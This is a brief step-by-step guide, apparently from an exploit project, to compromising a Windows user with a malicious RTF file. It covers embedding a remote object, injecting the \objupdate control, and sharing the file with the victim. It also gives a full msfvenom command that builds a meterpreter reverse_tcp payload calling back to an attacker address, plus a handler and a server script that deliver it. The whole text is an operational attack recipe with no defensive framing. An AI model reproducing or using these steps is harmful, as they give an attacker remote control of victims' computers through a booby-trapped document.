Steps

Step-1) Create a malicious RTF
- Start a webserver on attacker machine
- Open MS Office word and insert an innocent remote doc file (innocent.doc) as an object
- Save the file as RTF
- Modify RTF to inject \objupdate control
- Stop the webserver on attacker machine
- Share this RTF file with victim

Step-2) Create a meterpreter shell on attacker machine
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > shell.exe
- Start multi handler

Step-3) Start attacker script (server.py)
- Specify URL of meterpreter shell
- Specify location of shell

Step-4) Victim opens the document and an attacker gets a reverse meterpreter shell
